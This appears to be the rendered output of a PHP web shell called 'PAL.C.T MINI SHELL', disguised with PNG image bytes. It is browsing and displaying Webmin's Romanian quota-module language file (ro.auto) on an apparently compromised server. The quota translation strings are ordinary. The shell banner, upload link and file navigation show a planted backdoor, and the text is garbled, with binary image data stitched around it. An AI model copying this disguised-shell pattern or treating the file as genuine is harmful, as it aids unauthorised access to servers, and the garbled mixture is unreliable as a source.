‰php  IHDRwQ)Bęa pHYs  šœsRGB®ĪégAMA± üaŌIDATxķÜMk\UĒįs&uo,ÖmÄD )XwīŒ+Ēe?‰ŗtw.“oąWpå§;—³°QHZnw¢`gaiJ’9Žˆ‰ŃŅĢŸē™ū¾żĶaī=·nlŽ[ ŹØG܉;@ q$īÄ øw€@āH܉;@ q$īÄ øw€@āH܉;@ q$īÄ øw€@āH܉;@ q$īÄ øw€@āH܉;@ q$īÄ øw€@āH܉;@ q$īÄ øw€@āH܉;@ q$īÄ øw€@āH܉;@ q$īśø·y H†Æ@E7j­Ķ 1j+OF„–€‹Rg}Ü«‘;@’E™Öa¹±łįÓ~ ’j`Łuū'ož> ŁjŻ-$˜_§q?¾qøSXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/quota/lang/
upload
files >> //usr/libexec/webmin/quota/lang/ro.auto

quota_unlimited=Nelimitat

acl_fss=Sistemele de fișiere pe care le poate edita acest utilizator
acl_fall=Toate sistemele de fișiere
acl_fsel=Selectat ..
acl_ro=Se pot vizualiza doar cote și nu se editează?
acl_quotaon=Poate activa și dezactiva contingentele?
acl_quotanew=Poate configura cote pentru utilizatorii noi?
acl_ugrace=Poate edita timpul de grație al utilizatorului?
acl_vtotal=Poți vizualiza spațiul total pe disc?
acl_ggrace=Poate edita timpul de grație Ć®n grup?
acl_uquota=Utilizatorii pentru care acest utilizator pot edita cote
acl_gquota=Grupurile pentru care acest utilizator pot edita cote
acl_uall=Ā Toți utilizatorii
acl_uonly=Ā Numai utilizatorii
acl_uexcept=Ā Toate cu excepția utilizatorilor
acl_ugroup=Ā Utilizatori cu grupul principal
acl_gall=Ā Toate grupurile
acl_gnone= Fără grupuri
acl_gonly=Ā Numai grupuri
acl_gexcept=Ā Toate cu excepția grupurilor
acl_uuid=Utilizatori cu UID Ʈn interval
acl_ggid=Grupuri cu GID Ʈn interval
acl_maxblocks=Cota maximă de bloc acordată
acl_maxfiles=Cota maximă de fișier acordată
acl_unlimited=Nelimitat
acl_email=Se pot configura notificări prin e-mail?

activate_eallow=Nu aveți voie să activați sau să dezactivați cote pe acest sistem de fișiere
activate_eon=Nu a reușit să activeze cote
activate_eoff=Nu a reușit să oprească contingentele

check_title=Verificați cotele
check_return=$1 Listă
check_ecannot=Nu puteți verifica cote pe acest sistem de fișiere
check_running=Acum se execută comanda <tt>quotacheck</tt> pentru a verifica utilizarea blocului și a fișierului pe <tt>$1</tt>. Este posibil să dureze mult timp pentru un sistem de fișiere foarte mare. ..
check_done=... Terminat.
check_rgroup=grup
check_ruser=utilizator

cgroup_efail=Eroare la copierea cotelor
cgroup_ecannot=Nu puteți copia cote
cgroup_egallow=Nu aveți voie să copiați contingentele acestui grup
cgroup_enogroup=Nu există grupuri la care să fie copiat
cgroup_eallowto=Nu aveți voie să copiați cote pe ā€ž$1ā€

cgform_title=Copiați cotele
cgform_return=cota de grup
cgform_ecannot=Nu puteți copia cote
cgform_egroup=Nu aveți voie să copiați contingentele acestui grup
cgform_copyto=Copiați cote pentru <tt>$1</tt> pe TOATE sistemele de fișiere Ć®n. ..
cgform_all=Toate grupurile din sistemul dvs.
cgform_select=Grupuri selectate
cgform_contain=Grupuri care conțin utilizatori
cgform_doit=Copie

cuser_efail=Eroare la copierea cotelor
cuser_ecannot=Nu puteți copia cote
cuser_euallow=Nu aveți voie să copiați contingentele acestui utilizator
cuser_enouser=Niciun utilizator să le copie
cuser_eallowto=Nu aveți voie să copiați cote pe ā€ž$1ā€

cuform_title=Copiați cotele
cuform_return=cota de utilizator
cuform_ecannot=Nu puteți copia cote
cuform_euallow=Nu aveți voie să copiați contingentele acestui utilizator
cuform_copyto=Copiați cote pentru <tt>$1</tt> pe TOATE sistemele de fișiere Ć®n. ..
cuform_all=Toți utilizatorii din sistemul dvs.
cuform_select=Utilizatori selectați
cuform_members=Membrii grupurilor selectate
cuform_doit=Copie

egroup_title=Modificați cota de grup
egroup_freturn=lista sistemelor de fișiere
egroup_greturn=lista grupurilor
egroup_eallowgr=Nu aveți voie să editați cote pentru ā€ž$1ā€
egroup_eallowfs=Nu aveți voie să editați cote pe acest sistem de fișiere
egroup_quotas=Cota pentru <tt>$1</tt> pe <tt>$2</tt>
egroup_bused=Blocurile utilizate
egroup_kused=Kilobiți folosiți
egroup_sblimit=Limita blocului moale
egroup_hblimit=Limită bloc greu
egroup_sklimit=Limită de kilobyte moale
egroup_hklimit=Limită de kilobyte greu
egroup_fused=Fișiere utilizate
egroup_sflimit=Limită fișier moale
egroup_hflimit=Limită fișier dur
egroup_update=Actualizați
egroup_listall=Listează toate cotele
egroup_listalldesc=Faceți clic pe acest buton pentru a afișa o listă cu toate sistemele de fișiere pe care acest grup are cote de disc, cu link-uri pentru a le edita.

euser_title=Editați cota utilizatorului
euser_freturn=lista sistemelor de fișiere
euser_ureturn=lista de utilizatori
euser_eallowus=Nu aveți voie să editați cote pentru ā€ž$1ā€
euser_eallowfs=Nu aveți voie să editați cote pe acest sistem de fișiere
euser_quotas=Cota pentru <tt>$1</tt> pe <tt>$2</tt>
euser_bused=Blocurile utilizate
euser_kused=Kilobiți folosiți
euser_bdisk=Blocuri disponibile pe disc
euser_kdisk=Kilobytes disponibili pe disc
euser_sdisk=Spațiu disponibil pe disc
euser_sblimit=Limita blocului moale
euser_hblimit=Limita blocului dur
euser_sklimit=Limită de kilobyte moale
euser_hklimit=Limită de kilobyte greu
euser_fused=Fișiere utilizate
euser_fdisk=Fișiere disponibile pe disc
euser_sflimit=Limită de fișiere soft
euser_hflimit=Limită de fișier greu
euser_update=Actualizați
euser_listall=Listează toate cotele
euser_listalldesc=Faceți clic pe acest buton pentru a afișa o listă cu toate sistemele de fișiere pe care acest utilizator are cote de disc, cu link-uri pentru a le edita.

gfilesys_title=Cotele de grup
gfilesys_return=lista sistemelor de fișiere
gfilesys_ecannot=Nu puteți modifica cote pentru ā€ž$1ā€
gfilesys_all=Toate cotele pentru $1 
gfilesys_blocks=blocuri
gfilesys_kbs=kiloocteţi
gfilesys_space=Spatiu pe disc
gfilesys_files=Fișiere
gfilesys_fs=Sistemul de fișiere
gfilesys_used=Folosit
gfilesys_soft=Limită moale
gfilesys_hard=Hard Limit
gfilesys_nogquota=Grupul <tt>$1</tt> nu are cote la niciun sistem de fișiere
gfilesys_edit=Editați cota activată:
gfilesys_copy=Copiați cotele
gfilesys_editdesc=Vizualizați și editați cotele pentru acest grup pe un alt sistem de fișiere pe care nu are Ć®n prezent cote.
gfilesys_copydesc=Copiați limitele de cote pentru acest grup pe toate sistemele de fișiere pe unele sau toate celelalte grupuri.
gfilesys_enone=Nu a fost introdus niciun nume de grup

ggracef_title=Grace Times
ggracef_return=lista grupurilor
ggracef_ecannot=Nu puteți edita timpii de grație pe acest sistem de fișiere
ggracef_info=Fiecare sistem de fișiere are un timp de grație pentru blocuri și cote de fișiere. Timpul de grație determină cĆ¢t timp poate rămĆ¢ne un grup peste limita soft Ć®nainte de a nu mai fi create fișiere.
ggracef_graces=Grup de timp de grație pentru <tt>$1</tt>
ggracef_block=Pentru cota de bloc
ggracef_file=Pentru cota de fișier
ggracef_update=Actualizați

ggraces_esave=Nu a reușit să salveze vremurile de har
ggraces_eedit=Nu puteți edita timpii de grație pe acest sistem de fișiere
ggraces_enumber=ā€ž$1ā€ nu este un număr

index_quser=Cotele utilizatorilor
index_qgroup=Cotele de grup
index_qboth=Cotele de utilizator și de grup
index_active=activ
index_disable=Dezactivați contingentele
index_inactive=inactiv
index_enable=Activați cote
index_supported=Cotele nu sunt Ʈncă acceptate
index_enable2=Activați asistența
index_mountonly=Se poate activa numai la montare
index_title=Cotele de disc
index_fs=Sistemul de fișiere
index_type=Tip
index_mount=Montat de la
index_status=stare
index_action=Acțiune
index_return=index
index_euser=Modificați cota de utilizator:
index_euserdesc=Introduceți sau selectați un utilizator și faceți clic pe acest buton pentru a vizualiza cotele sale pe toate sistemele de fișiere.
index_egroup=Modificați cota de grup:
index_egroupdesc=Introduceți sau selectați un grup și faceți clic pe acest buton pentru a vizualiza cotele sale pe toate sistemele de fișiere.
index_nosupport=Niciun sistem de fișiere locale nu poate suporta cote.
index_mountmod=Puteți activa cote pentru un sistem de fișiere Ć®n <a href='$1'>Disk and Network Filesystems</a> modulul.

lgroups_failed=Eroare la listarea grupurilor
lgroups_tablist=Lista grupurilor
lgroups_eallow=Nu aveți voie să editați cote pe acest sistem de fișiere
lgroups_title=Cota de sistem de fișiere
lgroups_return=lista sistemelor de fișiere
lgroups_toomany=Prea multe grupuri au cote pe <tt>$1</tt> pentru a fi afișate pe o singură pagină
lgroups_quotas=Toate cotele de grup la <tt>$1</tt>
lgroups_blocks=blocuri
lgroups_kbs=kiloocteţi
lgroups_space=Spatiu pe disc
lgroups_files=Fișiere
lgroups_group=grup
lgroups_used=Folosit
lgroups_soft=Limită moale
lgroups_hard=Hard Limit
lgroups_noquota=Niciun grup nu are cote la <tt>$1</tt>
lgroups_equota=Editați cota pentru:
lgroups_grace=Editați Grace Times
lgroups_check=Verificați cotele
lgroups_info=Webmin poate fi configurat pentru a seta automat cote pe acest sistem de fișiere atunci cĆ¢nd este creat un nou grup Unix. Acest lucru va funcționa numai atunci cĆ¢nd modulul Webmin $1 este utilizat pentru a adăuga grupuri.
lgroups_newgroup=Cotele de grup noi
lgroups_mass=Actualizați grupurile selectate
lgroups_to=Destinație prin e-mail
lgroups_tosame=Cutie poștală cu același nume ca grup
lgroups_tofixed=Adresa 1
lgroups_emailheader=E-mail grupuri care se apropie de cota
lgroups_email=Trimiteți e-mail grupuri?
lgroups_tovirt=Proprietar de domeniu Virtualmin

sgroup_egroup=Nu aveți voie să editați cote pentru acest grup
sgroup_efs=Nu aveți voie să editați cote pe acest sistem de fișiere

ssync_ecannot=Nu puteți seta cota implicită pentru acest sistem de fișiere

suser_euser=Nu aveți voie să editați cote pentru acest utilizator
suser_efs=Nu aveți voie să editați cote pe acest sistem de fișiere
suser_emaxblocks=Nu aveți voie să acordați limite de blocare peste $1 
suser_emaxfiles=Nu aveți voie să acordați limite de fișiere peste $1 

ufilesys_title=Cota de utilizator
ufilesys_return=lista sistemelor de fișiere
ufilesys_ecannot=Nu puteți modifica cote pentru ā€ž$1ā€
ufilesys_all=Toate cotele pentru <tt>$1</tt>
ufilesys_blocks=blocuri
ufilesys_kbs=kiloocteţi
ufilesys_space=Spatiu pe disc
ufilesys_files=Fișiere
ufilesys_fs=Sistemul de fișiere
ufilesys_used=Folosit
ufilesys_soft=Limită moale
ufilesys_hard=Hard Limit
ufilesys_nouquota=Utilizatorul <tt>$1</tt> nu are cote Ć®n niciun sistem de fișiere
ufilesys_edit=Editați cota activată:
ufilesys_editdesc=Vizualizați și editați cotele pentru acest utilizator pe un alt sistem de fișiere pe care nu are Ć®n prezent cote.
ufilesys_copydesc=Copiați limitele de cote pentru acest utilizator pe toate sistemele de fișiere către unii sau toți ceilalți utilizatori.
ufilesys_copy=Copiați cotele
ufilesys_grace=Graţie
ufilesys_enone=Nu a fost introdus niciun nume de utilizator

ugracef_title=Grace Times
ugracef_return=lista de utilizatori
ugracef_ecannot=Nu puteți edita timpii de grație pe acest sistem de fișiere
ugracef_info=Fiecare sistem de fișiere are un timp de grație pentru blocuri și cote de fișiere. Timpul de grație determină cĆ¢t timp poate rămĆ¢ne un utilizator peste limita soft Ć®nainte de a nu mai fi create fișiere.
ugracef_graces=User Grace Times pentru <tt>$1</tt>
ugracef_block=Pentru cota de bloc
ugracef_file=Pentru cota de fișier
ugracef_update=Actualizați

ugraces_esave=Nu a reușit să salveze vremurile de har
ugraces_eedit=Nu puteți edita timpii de grație pe acest sistem de fișiere
ugraces_enumber=ā€ž$1ā€ nu este un număr

lusers_failed=Listarea utilizatorilor nu a reușit
lusers_tablist=Lista de utilizatori
lusers_tabdefault=Cotele implicite
lusers_tabemail=Notificări prin email
lusers_eallow=Nu aveți voie să editați cote pe acest sistem de fișiere
lusers_title=Cota de sistem de fișiere
lusers_return=lista sistemelor de fișiere
lusers_toomany=Prea mulți utilizatori au cote pe <tt>$1</tt> pentru a fi afișate pe o singură pagină
lusers_qoutas=Toate cotele utilizatorului la <tt>$1</tt>
lusers_bsize=Dimensiunea blocului de cota: $1 octeți
lusers_blocks=blocuri
lusers_kbs=kiloocteţi
lusers_space=Spatiu pe disc
lusers_files=Fișiere
lusers_user=Utilizator
lusers_used=Folosit
lusers_soft=Limită moale
lusers_hard=Hard Limit
lusers_grace=Graţie
lusers_noquota=Niciun utilizator nu are cote la <tt>$1</tt>
lusers_equota=Editați cota pentru:
lusers_egrace=Editați timpii de grație
lusers_check=Verificați cotele
lusers_info=Webmin poate fi configurat pentru a seta automat cote pe acest sistem de fișiere atunci cĆ¢nd este creat un nou utilizator Unix. Acest lucru va funcționa numai atunci cĆ¢nd modulul $1 Webmin este utilizat pentru a adăuga utilizatori.
lusers_useradmin=Utilizatori și grupuri
lusers_newuser=Cotele utilizatorilor noi
lusers_sblimit=Limită moale
lusers_hblimit=Limită grea
lusers_sflimit=Limită de fișiere soft
lusers_hflimit=Limită de fișier greu
lusers_pc_hblocks=Greu %
lusers_pc_sblocks=Moale %
lusers_apply=aplica
lusers_emailheader=E-mail către utilizatorii care se apropie de cotă
lusers_email=Trimiteți e-mail utilizatorilor?
lusers_interval=Interval Ʈntre mesaje
lusers_hours=ore
lusers_ltype=Tip limită
lusers_percent=Avertizați cĆ¢nd atingerea utilizării
lusers_domain=Domeniu pentru adrese de utilizator
luser_virtualmin=Obțineți domeniu de la Virtualmin?
lusers_from=De la: adresa pentru e-mail
lusers_mass=Actualizați utilizatorii selectați
lusers_cc=Trimiteți și un e-mail la
lusers_nocc=Nimeni

grace_seconds=secunde
grace_minutes=Minute
grace_hours=ore
grace_days=zi
grace_weeks=săptămâni
grace_months=Luni

log_activate_u=Cotele utilizatorilor activate pe $1 
log_activate_g=Cotele de grup activate pe $1 
log_activate_ug=Activarea cotelor de utilizator și de grup pe $1 
log_deactivate_u=Cotele utilizatorilor dezactivate pe $1 
log_deactivate_g=Cotele grupurilor dezactivate pe $1 
log_deactivate_ug=Dezactivarea cotelor de utilizator și de grup la $1 
log_save=Cotele modificate pentru $1 pe $2 
log_sync=Modifică cote de utilizator noi la $1 
log_email_user=Modificați opțiunile de e-mail ale utilizatorului pe $1 
log_email_group=Modificați opțiunile de e-mail de grup pe $1 
log_gsync=Au fost modificate contingentele grupurilor noi la $1 
log_grace_u=Modificări ale grației utilizatorului pe $1 
log_grace_g=Timpul de grație de grup modificat pe $1 
log_check=Cotele verificate la $1 
log_copy_u=Copiile cote ale utilizatorului $1 
log_copy_g=Copiate cote ale grupului $1 
log_support=Suport activat pentru cote pentru $1 

email_err=Nu a reușit să salvați opțiunile de e-mail
email_ecannot=Nu aveți voie să modificați opțiunile de e-mail
email_einterval=Interval lipsă sau nevalid
email_epercent=Procentul de utilizare lipsă sau nevalid
email_edomain=Domeniul de e-mail lipsă sau nevalid
email_efrom=Lipsește sau este nevalid din adresa:
email_ecc=Adresa Cc: lipsă sau nevalidă
email_msg=Utilizarea discului pentru utilizator $1 pe sistemul de fișiere $2 a atins $3% din cota permisă. Se utilizează $4 din spațiu pe disc, din maximum $5.
gemail_msg=Utilizarea discului pentru grupul $1 pe sistemul de fișiere $2 a atins $3% din cota permisă. Se utilizează $4 din spațiu pe disc, din maximum $5.
email_subject=Cota de disc depășită
gemail_subject=Cota de disc depășită
email_eto=Lipsește adresa de e-mail de destinație

umass_title=Actualizați cota de utilizator
umass_header=Modificările de cota se aplică utilizatorilor selectați
umass_sblocks=Limita blocului moale
umass_hblocks=Limita blocului dur
umass_sfiles=Limită fișiere soft
umass_hfiles=Fișierele limită
umass_leave=Lăsați neschimbate
umass_unlimited=Setat la nelimitat
umass_set=Setat la
umass_ok=Actualizați utilizatorii
umass_esblocks=Lipsește sau nu este valabilă limita blocului soft
umass_ehblocks=Lipsește sau nu este valabilă limita blocului dur
umass_esfiles=Lipsește sau nu este valabilă o limită de fișier soft
umass_ehfiles=Lipsește sau nu este valabilă o limită de fișier dur
umass_count=Modificările de mai jos se vor aplica pentru utilizatorii selectați $1.
umass_err=Actualizarea cotelor de utilizator nu a reușit

gmass_title=Actualizați cota de grup
gmass_header=Modificările de cota se aplică grupurilor selectate
gmass_count=Modificările de mai jos se vor aplica grupurilor selectate $1.
gmass_ok=Actualizați grupuri
gmass_err=Actualizarea cotelor de grup a eșuat
ß yōŹį½~ŒorĄ5ÖJ™={žĮEĒźe¾uē£Qk®•įƘG{÷?ł»ć+—]üōēƒÉĶ×ןō?wūM3X^¶Śę­Œ>{“7پģ“Kć>čo²ĪnŻ\’ŖŹjæy·šR £õćg/ī=Ž’fśOēÖr·o×NVŹvæś~’Y+üæNGźu÷ų·Ć®›žė¹HWŠūyėwĘ[eQ¶ŹØ¾SŚb­Ö>öĶĖĒž³>ä}Gēmx[o[<ŽŚ{šżŸĻ®_ÅļqF– ŚŪvMIEND®B`‚